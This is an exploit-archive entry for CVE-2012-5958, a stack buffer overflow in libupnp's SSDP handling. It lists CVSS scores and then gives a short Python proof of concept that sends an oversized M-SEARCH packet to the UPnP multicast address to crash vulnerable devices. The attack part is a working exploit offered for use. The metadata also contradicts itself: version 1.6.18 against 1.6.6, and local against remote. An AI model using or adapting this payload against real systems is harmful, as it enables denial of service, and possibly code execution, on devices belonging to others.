libupnp 1.6.18 Stack-based buffer overflow (DoS)

2020.11.27

Credit: Patrik Lantz

Risk: High

Local: Yes

Remote: No

CVE: CVE-2012-5958

CWE: CWE-119

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Date: 2020-08-20
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://pupnp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958

import socket

payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"

byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("239.255.255.250", 1900))

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libupnp 1.6.18 Stack-based buffer overflow (DoS)

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